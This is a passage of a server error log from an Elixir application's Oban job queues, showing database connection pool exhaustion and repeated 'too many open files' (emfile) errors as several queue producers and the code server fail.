"webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.91669>, refresh_timer: #Reference<0.2525715032.1099431938.77658>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:36.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 892ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:59:24.246827Z], limit: 3, uuid: "2fc5cc92-18e6-4d51-83a3-d5a6f7468f08", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:24.246833Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.77684>, refresh_timer: #Reference<0.2525715032.1099431938.77672>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:59:24.246630Z], limit: 5, uuid: "fb2db7c0-a32b-44e5-b1cd-1f14aaf925f1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:24.246637Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.91723>, refresh_timer: #Reference<0.2525715032.1099431938.77673>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:59:24.246032Z], limit: 50, uuid: "088e98fa-7e99-4d83-9742-228536fdd208", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:24.246039Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.62706>, refresh_timer: #Reference<0.2525715032.1077673987.62696>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1038ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:59:24.246382Z], limit: 10, uuid: "68d0cf73-e353-4790-b40d-2f17fd4a2afc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:59:24.246410Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.62705>, refresh_timer: #Reference<0.2525715032.1077673987.62695>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:59:37.258000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:38.782000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:59:42.703000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.703000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.703000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.704000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.704000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.705000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.705000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.706000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.706000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.707000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.707000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.708000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.708000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.708000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.709000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.709000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.709000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.709000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.709000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.709000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.711000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.711000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.711000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.711000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.711000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.711000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.712000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.712000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.712000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.713000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.713000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.713000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.713000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.714000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.716000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.716000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.717000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.718000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.718000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.719000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.720000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.721000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.721000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.721000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.722000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.723000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.723000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.723000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.724000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.724000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.724000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.725000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.726000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.726000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.726000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.726000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.727000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.727000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:42.728000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:42.728000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
